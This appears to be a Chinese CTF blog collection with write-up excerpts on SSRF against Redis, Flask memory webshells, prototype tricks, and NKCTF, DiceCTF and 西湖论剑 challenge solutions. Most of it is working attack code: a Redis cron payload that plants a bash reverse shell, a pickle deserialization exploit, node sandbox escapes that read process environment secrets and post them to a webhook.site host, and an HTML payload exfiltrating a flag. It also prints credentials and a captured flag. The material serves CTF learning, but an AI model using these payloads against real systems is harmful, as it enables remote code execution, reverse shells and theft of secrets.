Hello Hugo
这是一个 Hugo + Archie 主题的示例文章。
- 本地预览:
hugo server --source site -D - 构建产物:
site/public/
ssrf打redis
SSRF打redis
思路:常见方法使用gopher和dict,执行redis命令,然后通过redis命令达到目的。
前置知识
RESP 协议
RESP 协议是 redis 服务之间数据传输的通信协议,redis 客户端和 redis 服务端之间通信会采取 RESP 协议 因此我们后续构造 payload 时也需要转换成 RESP 协议的格式
*1
$8
flushall
*3
$3
set
$1
1
$64
*/1 * * * * bash -i >& /dev/tcp/xxxxxxx/xxx 0>&1
*4
$6
config
$3
set
$3
dir
$16
/var/spool/cron/
*4
$6
config
$3
set
$10
dbfilename
$4
root
*1
$4
save
quit
1.写shell
直接通过redis执行命令写文件。
commands = [
"flushall", #清空redis
f'set:webshell:"{shellcode}"', #写入shell内容
'set:dir:/scripts', #写入目录
'set:dbfilename:visit.script', #设置镜像文件名
"save" #保存写入
]
一般为:dict://<host>:<port>/info 探测端口应用信息
执行命令:dict://<host>:<port>/命令:参数 冒号相当于空格
flask下的内存马
FLASK下python内存马
Python]Flask内存马学习.md at main · bfengj/CTF (github.com)
flask不出网回显方式 - Longlone’s Blog
初始
在一个月黑风高的夜晚,看见一个从未见过的函数add_url_rule,然后经过亿系列的查询发现是flask的内存马常用的东西
add_url_rule()
可以添加一个自定义路由,并且可以自定义匿名函数,访问这个路由就可以调用这个匿名函数
这里有payload
sys.modules['__main__'].__dict__['app'].add_url_rule('/shell','shell',lambda :__import__('os').popen('dir').read())
ssti:
{{url_for.__globals__['__builtins__']['eval'](\"app.add_url_rule('/shell', 'myshell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd')).read())\",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}}"
但是!这是老版本的,关闭debug模式会调用到check函数,然后会导致报错
然而在新版本当中,很多地方都存在check函数,so,G
然后看见有师傅提供了方法
通过@app.before_request @app.after_request来打
…AES-CBC反转攻击
AES-CBC反转攻击
在一些特定情况下才能使用
…闭包提权(Closure-Privilege-Escalation)
闭包提权:
var o = (function() {
var obj = {
a: 1,
flag: "flag{test}",
};
return {
get: function(k) {
return obj[k];
},
add: function() {
n++;
}
};
}
)();
console.log(o.get("flag")) // flag{test}
首先,这里通过闭包实现了将obj这个对象让外面不可更改。实现只读的效果。
作用:比如在有些环境下,如第三方库当中,需要保持稳定性,防止一个库被另一个库修改。
利用:
console.log(o.get("valueOf")) //[Function: valueOf]
console.log(o.get("valueOf")()) // TypeError: Cannot convert undefined or null to objec
// 由于valueOf是Object.prototype的方法,所以在调用时,this指向的是Object.prototype,而Object.prototype并没有flag属性,所以会报错
//定义一个原型,让obj[k]能拿到这个原型,然后返回this指向obj
Object.defineProperty(Object.prototype, "hacker", {
get: function() {
return this;
}
});
console.log(o.get("flag")) // flag{test}
console.log(o.get("hacker")) // { a: 1, flag: 'flag{test}' }
let obj1 = o.get("hacker");
obj1.flag = 2;
console.log(o.get("flag")) // 2
if (o.get("flag") !== "flag{test}") {
console.log("flag is correct!");
}
// flag is correct!
利用成功
…SSRF
SSRF简介
SSRF (Server-Side Request Forgery,服务器端请求伪造)是一种由攻击者构造请求,由服务端发起请求的安全漏洞。一般情况下,SSRF攻击的目标是外网无法访问的内部系统(正因为请求是由服务端发起的,所以服务端能请求到与自身相连而与外网隔离的内部系统)。
也就是(如果A是外网主机,B是不能访问外网的主机,C是能够访问A和B的主机——->SSRF也就是A通过C访问B)
SSRF漏洞原理
SSRF的形成大多是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。例如,黑客操作服务端从指定URL地址获取网页文本内容,加载指定地址的图片等,利用的是服务端的请求伪造。SSRF利用存在缺陷的Web 应用作为代理攻击远程和本地的服务器。
攻击方式:
对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息。
攻击运行在内网或本地的应用程序。
对内网Web应用进行指纹识别,识别企业内部的资产信息。
攻击内外网的Web应用,主要是使用HTTP GET请求就可以实现的攻击(比如struts2、SQli等)。
利用gopher协议可以攻击内网的 Redis、Mysql、FastCGI、Ftp 等,也可以发送 GET、POST 请求,这可以拓宽 SSRF 的攻击面。
利用file协议读取本地文件等。
常用函数
file_get_contents()、fsockopen()、curl_exec()、fopen()、readfile()
漏洞点
常见SSRF漏洞验证方式
排除法:浏览器f12查看源代码看是否是在本地进行了请求
比如:该资源地址类型为 http://www.xxx.com/a.php?image=URL,URL参数若是其他服务器地址就可能存在SSRF漏洞
dnslog等工具进行测试,看是否被访问(可以在盲打后台,用例中将当前准备请求的url和参数编码成base64,这样盲打后台解码后就知道是哪台机器哪个cgi触发的请求)
抓包分析发送的请求是不是通过服务器发送的,如果不是客户端发出的请求,则有可能是存在漏洞。接着找存在HTTP服务的内网地址
从漏洞平台中的历史漏洞寻找泄漏的存在web应用内网地址
通过二级域名暴力猜解工具模糊猜测内网地址
通过file协议读取内网信息获取相关地址
直接返回的Banner、title、content等信息
留意布尔型SSRF,通过判断两次不同请求结果的差异来判断是否存在SSRF,类似布尔型sql盲注方法。
SSRF漏洞点挖掘
1. 社交分享功能:获取超链接的标题等内容进行显示
2. 转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
3. 在线翻译:给网址翻译对应网页的内容
4. 图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片
5. 图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验
6. 云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试
7. 网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作
8. 数据库内置功能:数据库的比如mongodb的copyDatabase函数
9. 邮件系统:比如接收邮件服务器地址
10. 编码处理, 属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等
11. 未公开的api实现以及其他扩展调用URL的功能:可以利用google 语法加上这些关键字去寻找SSRF漏洞
12.从远程服务器请求资源(upload from url 如discuz!;import & expost rss feed 如web blog;使用了xml引擎对象的地方 如wordpress xmlrpc.php)
url关键字
Share、wap、url、link、src、source、target、u、3g、display、sourceURL、imageURL、domain
题目easycms:
搜索到迅睿cms 曾经存在ssrf,审计代码发现qrcode路由存在ssrf构造如下
http://eci-2ze3cmcfbu4h73d67lga.cloudeci1.ichunqiu.com/index.php
?s=api
&c=api
&m=qrcode
&thumb=http://test.ai.darwinchow.com
&text=sfaf
&size=11
&level=1
发现存在ssrf,但是直接访问127.0.0.1是被过滤的 尝试302去绕过
302配置如下
…NKCTF-2024wp
attack_tacooooo
账号tacooooo@qq.com
密码tacooooo
import pickle
class Exploit(object):
def __reduce__(self):
code = """
import os
def find_flag_and_write(source_directory, destination_path, destination_file_name):
with open("/proc/1/environ", 'r') as flag_file:
flag_content = flag_file.read()
destination_file_path = os.path.join(destination_path, destination_file_name)
with open(destination_file_path, 'a') as destination_file:
destination_file.write(flag_content)
find_flag_and_write('/', '../var/lib/pgadmin/storage/tacooooo_qq.com/', 'flag.txt')
"""
# 使用纯 Python 代码来写入文件
return (exec, (code,))
# 序列化 exploit 对象
with open('posix.pickle', 'wb') as f:
pickle.dump(Exploit(), f)
全世界最简单的CTF
source
const express = require('express');
const bodyParser = require('body-parser');
const app = express();
const fs = require("fs");
const path = require('path');
const vm = require("vm");
app.use(bodyParser.json())
.set('views', path.join(__dirname, 'views'))
.use(express.static(path.join(__dirname, '/public'))) app.get('/', function(req, res) {
res.sendFile(__dirname + '/public/home.html');
})
function waf(code) {
let pattern = /(process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function)/g;
if (code.match(pattern)) {
throw new Error("what can I say? hacker out!!");
}
}
app.post('/', function(req, res) {
let code = req.body.code;
let sandbox = Object.create(null);
let context = vm.createContext(sandbox);
try {
waf(code) let result = vm.runInContext(code, context);
console.log(result);
} catch (e) {
console.log(e.message);
require('./hack');
}
}) app.get('/secret', function(req, res) {
if (process.__filename == null) {
let content = fs.readFileSync(__filename, "utf-8");
return res.send(content);
} else {
let content = fs.readFileSync(process.__filename, "utf-8");
return res.send(content);
}
}) app.listen(3000, () => {
console.log("listen on 3000");
})
payload:
1、
throw new Proxy({}, {
get: function() {
const cc = arguments.callee.caller;
const g = (cc.constructor.constructor(`return ${`${'proces'}s`}`))();
const h = g.mainModule.require('fs').readFileSync('/proc/self/environ');
const p = (cc.constructor.constructor('return fetch'))();
return p("https://webhook.site/1dc4e877-3eb8-4642-a3ef-17fc03f43ffa", {method: "POST", body: JSON.stringify({data: `${h}`})});
}
})
exec被ban然后执行不了命令,中括号我本地能过,但是环境上不行。fs模块读不到flag文件。
2、
过滤了中括号
throw new Proxy({}, {
get: function() {
const cc = arguments.callee.caller;
const gg = (cc.constructor.constructor(`return ${`${'proces'}s`}`))();
const hh = gg.mainModule.require(`${'child_p'}rocess`);
const ff = (cc.constructor.constructor(`s = 1+2`))();
const p = (cc.constructor.constructor('return fetch'))();
return p("https://webhook.site/1dc4e877-3eb8-4642-a3ef-17fc03f43ffa", {method: "POST", body: JSON.stringify({data: `${s}`})});
}
})
两个思路:
再构造一个函数。-------------不知道为什么不行
可以写入js文件,使用fork执行然后fetch出来。--------------ok!
payload:
// 文件写入suceess
throw new Proxy({}, {
get: function() {
const cc = arguments.callee.caller;
const gg = (cc.constructor.constructor(`return ${`${'proces'}s`}`))();
let content = `
let cs = require('${`${'child_p'}rocess').exe`}cSync('/readflag').toString();
${`${'proces'}s`}.on("message",function(msg){
fetch("https://webhook.site/1dc4e877-3eb8-4642-a3ef-17fc03f43ffa", {method: "POST", body: JSON.stringify({data: cs})});
})
`;
const fs = gg.mainModule.require('fs').appendFileSync("./readflag1.js",content);
const p = (cc.constructor.constructor('return fetch'))();
return p("https://webhook.site/1dc4e877-3eb8-4642-a3ef-17fc03f43ffa", {method: "POST", body: JSON.stringify({data: `${fs}`})});
}
})
//通信成功
throw new Proxy({}, {
get: function() {
const cc = arguments.callee.caller;
const g = (cc.constructor.constructor(`return ${`${'proces'}s`}`))();
const h = g.mainModule.require(`${'child_p'}rocess`).fork('./readflag1.js');
h.send('hello');
const p = (cc.constructor.constructor('return fetch'))();
return p("https://webhook.site/1dc4e877-3eb8-4642-a3ef-17fc03f43ffa", {method: "POST", body: JSON.stringify({data: `${h}`})});
}
})
{
"data": "NKCTF{5e1d772e-8260-444d-ab4b-21c7b7603521}\n"
}
my first cms
这是什么cms?直接安装最新版的应该没有问题了吧……
GitHub - capture0x/CMSMadeSimple2: CMS Made Simple Version: 2.2.19 - SSTI
admin Admin123
…N1CTF Junoir
N1CTF Junior
zako
…DiceCTF
another-csp
index.js
import { createServer } from 'http';
import { readFileSync } from 'fs';
import { spawn } from 'child_process'
import { randomInt } from 'crypto';
const sleep = timeout => new Promise(resolve => setTimeout(resolve, timeout));
const wait = child => new Promise(resolve => child.on('exit', resolve));
const index = readFileSync('index.html', 'utf-8');
let token = randomInt(2 ** 24).toString(16).padStart(6, '0');
let browserOpen = false;
const visit = async code => {
browserOpen = true;
const proc = spawn('node', ['visit.js', token, code], { detached: true });
await Promise.race([
wait(proc),
sleep(10000)
]);
if (proc.exitCode === null) {
process.kill(-proc.pid);
}
browserOpen = false;
}
createServer(async (req, res) => {
const url = new URL(req.url, 'http://localhost/');
if (url.pathname === '/') {
return res.end(index);
} else if (url.pathname === '/bot') {
if (browserOpen) return res.end('already open!');
const code = url.searchParams.get('code');
if (!code || code.length > 1000) return res.end('no');
visit(code);
return res.end('visiting');
} else if (url.pathname === '/flag') {
if (url.searchParams.get('token') !== token) {
res.end('wrong');
await sleep(1000);
process.exit(0);
}
return res.end(process.env.FLAG ?? 'dice{flag}');
}
return res.end();
}).listen(8080);
visit.js
import puppeteer from 'puppeteer';
const browser = await puppeteer.launch({
pipe: true,
args: [
'--no-sandbox',
'--disable-setuid-sandbox',
'--js-flags=--noexpose_wasm,--jitless',
'--incognito'
],
dumpio: true,
headless: 'new'
});
const [token, code] = process.argv.slice(2);
try {
const page = await browser.newPage();
await page.goto('http://127.0.0.1:8080');
await page.evaluate((token, code) => {
localStorage.setItem('token', token);
document.getElementById('code').value = code;
}, token, code);
await page.click('#submit');
await page.waitForFrame(frame => frame.name() == 'sandbox', { timeout: 1000 });
await page.close();
} catch(e) {
console.error(e);
};
await browser.close();
只等待1s
await page.waitForFrame(frame => frame.name() == 'sandbox', { timeout: 1000 });
[CSS:在相对颜色语法中使用 color-mix 制作的颜色会导致选项卡崩溃并显示 SIGILL 41490764] - Chromium
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>CSS SIGILL Issue Repro</title>
<style>
div {
--c1: color-mix(in srgb, blue 50%, red);
--c2: srgb(from var(--c1) r g b);
background-color: var(--c2);
}
</style>
</head>
<body>
<div>This should be purple</div>
</body>
</html>
终止报错
<link rel="stylesheet" href="https://webhook.site/aee8bc6e-8b49-4193-9a96-291dc379b94f"><iframe src="http://localhost/flag" csp="img-src <https://*>; defascript-srcult-sscript-srcrc <https://*>; repscript-srcort-uscript-srcri <https://*>;" referrerpolicy="no-referrer">
<img src="https://webhook.site/aee8bc6e-8b49-4193-9a96-291dc379b94f">
<script>
flag=document.getElementsByTagName("pre")[0];
fetch("https://webhook.site/aee8bc6e-8b49-4193-9a96-291dc379b94f?flag=${encodeURIComponent(flag)}")
.then(response => {
// 检查响应状态
if (!response.ok) {
throw new Error(`HTTP error! Status: ${response.status}`);
}
// 将响应转换为 JSON
return response.json();
})
);
</script>
</iframe>
dicedicegoose

西湖论剑
only_sql
连上自己的数据库,load data写文件进去
读到源码:
<?php
error_reporting(0);
// mine
// $db_host = '127.0.0.1';
// $db_username = 'root';
// $db_password = '1q2w3e4r5t!@#';
// $db_name = 'mysql';
$db_host = $_POST["db_host"];
$db_username = $_POST["db_username"];
$db_password = $_POST["db_password"];
$db_name = $_POST["db_name"];
if(isset($db_host)){
try {
$dsn = "mysql:host=$db_host;dbname=$db_name";
$pdo = new PDO($dsn, $db_username, $db_password);
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$_SESSION['dsn']=$dsn;
$_SESSION['db_username']=$db_username;
$_SESSION['db_password']=$db_password;
} catch (Exception $e) {
die($e->getMessage());
}
}
if(!isset($_SESSION['dsn'])){
die("<script>alert('请先连接数据库');window.location.href='index.php'</script>");
}
?>
<!DOCTYPE html>
<html>
<head>
<title>执行数据库命令</title>
<link rel="stylesheet" type="text/css" href="style.css">
</head>
<body>
<div class="container">
<h1>执行数据库命令</h1>
<form action="query.php" method="post">
<div class="form-group">
<label for="db_command">MySQL命令:</label>
<input type="text" id="db_command" name="db_command" style="width: 500px;" required>
</div>
<div class="form-group">
<button type="submit">执行命令</button>
</div>
</form>
<div class="result">
<?php
if (isset($_POST['db_command'])) {
$db_command = $_POST["db_command"];
$dsn=$_SESSION['dsn'];
$db_username = $_SESSION['db_username'];
$db_password = $_SESSION['db_password'];
try {
$pdo = new PDO($dsn, $db_username, $db_password,array(PDO::MYSQL_ATTR_LOCAL_INFILE => true));
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$stmt = $pdo->prepare($db_command);
$stmt->execute();
$result = $stmt->fetchAll(PDO::FETCH_ASSOC);
if ($result) {
echo "<h2>执行结果:</h2>";
echo "<table>";
echo "<tr>";
foreach (array_keys($result[0]) as $column) {
echo "<th>$column</th>";
}
echo "</tr>";
foreach ($result as $row) {
echo "<tr>";
foreach ($row as $value) {
echo "<td>$value</td>";
}
echo "</tr>";
}
echo "</table>";
} else {
echo "<p>没有结果返回。</p>";
}
} catch (Exception $e) {
echo "<p class='error-message'>执行错误:" . $e->getMessage() . "</p>";
}
}
?>
</div>
</div>
</body>
</html>
eeee 没啥用
直接读flag———明明说是sql结果flag不在数据库里面
…